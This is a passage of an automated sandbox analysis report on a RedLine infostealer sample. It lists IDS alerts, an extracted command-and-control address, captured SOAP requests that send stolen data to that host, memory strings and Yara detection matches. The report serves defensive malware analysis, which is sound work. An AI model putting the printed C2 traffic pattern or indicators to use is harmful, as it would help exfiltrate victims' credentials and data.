ertyChangedEventHandlerInvokeIEnumerableIDisposablefVisibleDWMHandleget_HandleoldHandleRuntimeTypeHandleGetTypeFromHandleget_MainWindowHandleSingleOpenFileWinFormsSampleget_MainWindowTitleget_Moduleget_MainModuleProcessModuleget_moduleget_Nameset_Nameget_FileNameget_MachineNameget_FullNamepropNa

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.4:49734 -> 185.222.58.44:55615
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.4:49734 -> 185.222.58.44:55615
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.4:49738 -> 185.222.58.44:55615
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 185.222.58.44:55615 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.4:49734 -> 185.222.58.44:55615
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 185.222.58.44:55615 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.222.58.44:55615 -> 192.168.2.4:49734

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.222.58.44:55615

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49738

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 185.222.58.44:55615

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.44:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.44:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.44:55615Content-Length: 933417Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.44:55615Content-Length: 933409Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

IP Address: 104.26.12.31 104.26.12.31

Source: Joe Sandbox View

ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 104.26.12.31:443 -> 192.168.2.4:49737 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.44

Source: global traffic

HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.44:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002C7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.44:5
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.44:55615
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.44:55615/
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028F0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002C7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: yGu4YUwMl6.exe, 00000000.00000002.1771731563.0000000006792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: RegSvcs.exe, 00000003.00000002.1869525432.00000000028F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, RegSvcs.exe, 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpBB13.tmp.3.dr, tmp848F.tmp.3.dr, tmp845D.tmp.3.dr, tmp846D.tmp.3.dr, tmp84BF.tmp.3.dr, tmp844C.tmp.3.dr, tmp848E.tmp.3.dr, tmp4D59.tmp.3.dr, tmp4D7B.tmp.3.dr, tmp843B.tmp.3.dr, tmp4D6A.tmp.3.dr, tmp847E.tmp.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7452, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_02415E28	0_2_02415E28
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BD400	0_2_050BD400
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BB788	0_2_050BB788
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B47B0	0_2_050B47B0
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B47C0	0_2_050B47C0
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B0006	0_2_050B0006
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B0040	0_2_050B0040
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B1301	0_2_050B1301
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B1310	0_2_050B1310
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BB350	0_2_050BB350
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B3D18	0_2_050B3D18
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BBFF8	0_2_050BBFF8
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BBBB1	0_2_050BBBB1
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050BBBC0	0_2_050BBBC0
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B4A9B	0_2_050B4A9B
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Code function: 0_2_050B4AA8	0_2_050B4AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00ECE7B0	3_2_00ECE7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00ECDC90	3_2_00ECDC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EB4468	3_2_05EB4468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EB9630	3_2_05EB9630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EBD3A0	3_2_05EBD3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EB3320	3_2_05EB3320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EB1210	3_2_05EB1210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EBDD18	3_2_05EBDD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05EBDA2E	3_2_05EBDA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D67D8	3_2_068D67D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068DF2A7	3_2_068DF2A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068DF2B8	3_2_068DF2B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D9100	3_2_068D9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D988B	3_2_068D988B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D9898	3_2_068D9898

Source: yGu4YUwMl6.exe, 00000000.00000002.1769015714.00000000027E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000000.1714641699.00000000002A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZPVX.exe> vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.0000000003E7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000002.1772900233.0000000007380000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000002.1768314487.00000000008AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe, 00000000.00000002.1769436422.0000000003668000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs yGu4YUwMl6.exe
